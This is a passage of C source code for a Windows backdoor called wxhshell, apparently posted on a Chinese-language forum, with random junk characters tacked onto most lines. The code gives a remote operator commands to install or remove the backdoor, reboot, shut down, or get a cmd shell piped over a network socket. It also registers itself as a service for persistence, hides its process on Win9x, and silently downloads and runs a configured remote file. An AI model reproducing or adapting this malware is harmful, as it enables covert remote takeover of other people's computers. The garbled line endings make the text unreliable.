  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WMl^XZO  
  } .`#R%4Xl  
  else { *xVAm7_v  
6zZR:ej  
    switch(cmd[0]) { H 1X]tw.  
  #]/T9:  
  // 帮助 q _|5,_a  
  case '?': { O!+5As  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xVX||rrh  
    break; =9@yJ9c-  
  } O;t?@!_  
  // 安装 ga9:*G!b{)  
  case 'i': { ^b. MR?9  
    if(Install()) xyWdzc] (p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X[Gk!d r#  
    else la7QN QW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y rnqi-P  
    break; ?t P/VL  
    } 1Sk6[h'CL  
  // 卸载 B;je|M!d  
  case 'r': { 80>!qG  
    if(Uninstall()) <]qd9mj5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rM.<Gi05Qe  
    else 'Rw] C[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {# _C  
    break; fOervo  
    } 4x=Y9w0?8  
  // 显示 wxhshell 所在路径 x^skoz  
  case 'p': { _\;# a  
    char svExeFile[MAX_PATH]; cBf{R^>Fd  
    strcpy(svExeFile,"\n\r"); =)5a=^ 6  
      strcat(svExeFile,ExeFile); ?{")Wt  
        send(wsh,svExeFile,strlen(svExeFile),0); [i#Gqx>'w  
    break; <ft9B05*  
    } e/\_F+jyc  
  // 重启 Rx-i.EtZ  
  case 'b': { >vy+U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $O!<Zz   
    if(Boot(REBOOT)) X+@,vCC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @1Lc`;Wd  
    else { 5~0;R`D  
    closesocket(wsh); ?\r3 _  
    ExitThread(0); 3s`3}DKK  
    } )zV5KC{{  
    break; qNL~m'  
    } Q6>( Z  
  // 关机 :h~!#;w_  
  case 'd': { *X=-^\G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3zHiu*2/!  
    if(Boot(SHUTDOWN)) e[!>ezaIY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Qd3A  
    else { >FNt*tX<0  
    closesocket(wsh); T,>e\  
    ExitThread(0); |pY0IqO  
    } [_@OCiV5)  
    break; _AHVMsz@  
    } UC@"<$'C  
  // 获取shell 4/|=0TC;  
  case 's': { Pme?`YO$x  
    CmdShell(wsh); N/VIP0Kb  
    closesocket(wsh); XU7bWafy  
    ExitThread(0); ` 454=3H  
    break; hNy S  
  } {%Sw w:  
  // 退出 X9HI@M]h  
  case 'x': { v2V1&-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _I!&w!3oM  
    CloseIt(wsh); YSif`W!  
    break; i$bBN$<b<  
    } r~! lD9R~  
  // 离开 d]]qy  
  case 'q': { -C+vmY*@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~T~v*'_h  
    closesocket(wsh); <~OyV5:6  
    WSACleanup(); .bGeZwvf:G  
    exit(1); 0*^Fk=>ej  
    break; ,+&j/0U  
        } 7SCI_8`  
  } X c^~|%+  
  } 7@?b _  
9':$!Eoq  
  // 提示信息 T_WQzEL^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e j9G[  
} 9D,& )6  
  } `O/)q^m1L  
:w+Rs+R  
  return; &bRH(yF  
} )-@EUN0E>5  
]!N5jbA@  
// shell模块句柄 bBX~ZWw  
int CmdShell(SOCKET sock) @!$NUY8,A#  
{ @j6D#./7j  
STARTUPINFO si; $c-3Q|C  
ZeroMemory(&si,sizeof(si)); QVpZA,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DYS(ZY)4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t>xV]W<  
PROCESS_INFORMATION ProcessInfo; ect?9S[!y  
char cmdline[]="cmd"; DKZ69^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~#@EjQCq  
  return 0;  oa|0=  
} abND#t  
|j,Mof  
// 自身启动模式 DQ)SMqOotw  
int StartFromService(void) P(`IY +  
{ u2t<auE9^  
typedef struct UTPl7po5D  
{ D&shrKFx  
  DWORD ExitStatus; [3.rG!Na  
  DWORD PebBaseAddress; 9c6=[3)V  
  DWORD AffinityMask; eZcm3=WV|  
  DWORD BasePriority; f As:[  
  ULONG UniqueProcessId; Lh}he:k+  
  ULONG InheritedFromUniqueProcessId; ')BQ 0sg  
}   PROCESS_BASIC_INFORMATION; b%kh:NV{S  
W.a/k7 p  
PROCNTQSIP NtQueryInformationProcess; N]duv~JS  
4M _83WL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R/#*~tPi8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =N=,;<6%A  
iB?@(10}ES  
  HANDLE             hProcess; &[YG\8sxWa  
  PROCESS_BASIC_INFORMATION pbi; 8<^,<?  
 lcr=^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L,WK L.  
  if(NULL == hInst ) return 0; =8iM,Vl3  
9K49<u0O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0^m02\Li  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1$^{Uma  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rdb%/@.-  
R9W(MLe58  
  if (!NtQueryInformationProcess) return 0; G2Apm`/ y  
C>+UZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Cpj_mMtu  
  if(!hProcess) return 0; C.@zVt  
,Xn%-OT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,y0kzwPR1  
OD i)#  
  CloseHandle(hProcess); ESs)|t h  
O^f@ g l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (~P&$$qfD  
if(hProcess==NULL) return 0; 8]Pf:_e,+  
F kWJB>  
HMODULE hMod; xH=&={  
char procName[255]; ?*T`a oB  
unsigned long cbNeeded; E`i;9e'S  
L]p:gI{m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PH]q#/'  
A$5T3j'  
  CloseHandle(hProcess); :>,d$f^tqE  
53L)+\7w  
if(strstr(procName,"services")) return 1; // 以服务启动 TqlUe@E  
$Ec;w~e  
  return 0; // 注册表启动 I@hC$o  
} H P7Ec  
o6qQ zk  
// 主模块 F;zmq%rK  
int StartWxhshell(LPSTR lpCmdLine) |m=@;B|  
{ C }!$'C|  
  SOCKET wsl; H&GM q5)B  
BOOL val=TRUE; 'C[gcp  
  int port=0; 3Mdg&~85  
  struct sockaddr_in door; BjB2YO& /  
9`b*Y*d  
  if(wscfg.ws_autoins) Install(); -F*j`  
Tv(s?T6f  
port=atoi(lpCmdLine); nZ{~@E2  
b~\![HoCMM  
if(port<=0) port=wscfg.ws_port; o$Jk2 7  
C6Kz6_DQZ  
  WSADATA data; >LW9$[H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uZqo"  
`dj/Uk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /kn t5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sx/g5 ?zh  
  door.sin_family = AF_INET; LIR2B"3F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e\P+R>i0  
  door.sin_port = htons(port); &Zf@vD  
~:JKXa?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }#Vo XilX  
closesocket(wsl); HVC\(h,)i  
return 1; tmm\V7sJ  
} *EotYT  
[rQ#skf  
  if(listen(wsl,2) == INVALID_SOCKET) { R+^/(Ws'<  
closesocket(wsl); BkIvoW_  
return 1; 2[W Qq)\  
} <H$CCo  
  Wxhshell(wsl); j Sddjs  
  WSACleanup(); jL 2f74?1  
<1hwXo  
return 0; EmLPq!C  
 R,y8~D  
} ,x_g|J _Y  
s$RymM  
// 以NT服务方式启动 * yt/ Dj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F9d][ P@@  
{ {(t (}-:Z  
DWORD   status = 0; D-[0^  
  DWORD   specificError = 0xfffffff; +|o -lb  
,PY<AI^59  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [t ^|l?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u<+;]8[o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "+| >nA=7  
  serviceStatus.dwWin32ExitCode     = 0; .}Xkr+ +]  
  serviceStatus.dwServiceSpecificExitCode = 0; ?lbX.+  
  serviceStatus.dwCheckPoint       = 0; s  n?  
  serviceStatus.dwWaitHint       = 0; ~>{<r{H"S  
NeNKOW#X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a8dR.  
  if (hServiceStatusHandle==0) return; T nPC\.x  
Ju:=-5r"'  
status = GetLastError(); u |#ruFR  
  if (status!=NO_ERROR) jkfI,T  
{ "i#!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B:9Z ;g@&  
    serviceStatus.dwCheckPoint       = 0; \f._I+gJ  
    serviceStatus.dwWaitHint       = 0; ,E/vHI8  
    serviceStatus.dwWin32ExitCode     = status; EQ7cK63  
    serviceStatus.dwServiceSpecificExitCode = specificError; {5*+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  dedi6Brl  
    return; m 81\cg  
  } 76c}Rk^  
{\ .2h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /oWB7l&  
  serviceStatus.dwCheckPoint       = 0; )m6=_q5@o  
  serviceStatus.dwWaitHint       = 0; k"AY7vq@!P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x!G\-2#  
} \)r#?qn4z;  
m.lNKIknQ  
// 处理NT服务事件,比如:启动、停止 ;M}bQ88  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3fBq~Q  
{ />]/At  
switch(fdwControl) bEPXNN  
{ ))eR  
case SERVICE_CONTROL_STOP: LZ^sc  
  serviceStatus.dwWin32ExitCode = 0; d[ {=/~0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UY>{e>/H9  
  serviceStatus.dwCheckPoint   = 0; cbS8~Xmj  
  serviceStatus.dwWaitHint     = 0; CuDU~)`  
  { .t\ Yv/|`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {_Wtk@  
  } ysvn*9h+&  
  return; A(<- U|  
case SERVICE_CONTROL_PAUSE: ~lQ]PKJ"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mA{gj[@:x  
  break; LG51e7_gFi  
case SERVICE_CONTROL_CONTINUE: x37r{$2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z#O{rwnl  
  break; _{T`ka  
case SERVICE_CONTROL_INTERROGATE: eeuAo&L&  
  break; _"z#I CT(  
}; 3DgI.V6un  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HaLEQ73  
} k%uRG_  
%#|S  
// 标准应用程序主函数 -Xx,"[sN\w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K@ W~  
{ yUBic~S  
mVk:[ }l6  
// 获取操作系统版本 ~l.]3wyk  
OsIsNt=GetOsVer(); k98--kc5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W5sVQ`S-  
!L>'g  
  // 从命令行安装 Qg1LT8  
  if(strpbrk(lpCmdLine,"iI")) Install(); j^:\a\-1  
\b~zyt6-  
  // 下载执行文件 `\#Q r|GC  
if(wscfg.ws_downexe) { YIjBKh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {9Y@?  
  WinExec(wscfg.ws_filenam,SW_HIDE); T,jxIFrF  
} -cJ(iz9!  
"<bL-k*H)  
if(!OsIsNt) { A@&+!sO  
// 如果时win9x,隐藏进程并且设置为注册表启动 0]NjsOU =  
HideProc(); +X.iJ$)  
StartWxhshell(lpCmdLine); Jtc?p{  
} /V:%}Z  
else &zUo",}9  
  if(StartFromService()) \:^$ZBQr<n  
  // 以服务方式启动 'g( R4deCX  
  StartServiceCtrlDispatcher(DispatchTable); <XGOcekG  
else XWk/S $-d  
  // 普通方式启动 ^8E/I]-  
  StartWxhshell(lpCmdLine); p5>TL!4M  
| u36-  
return 0; qo4AQ}0 <  
}
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只看该作者 1 发表于: 2006-10-10
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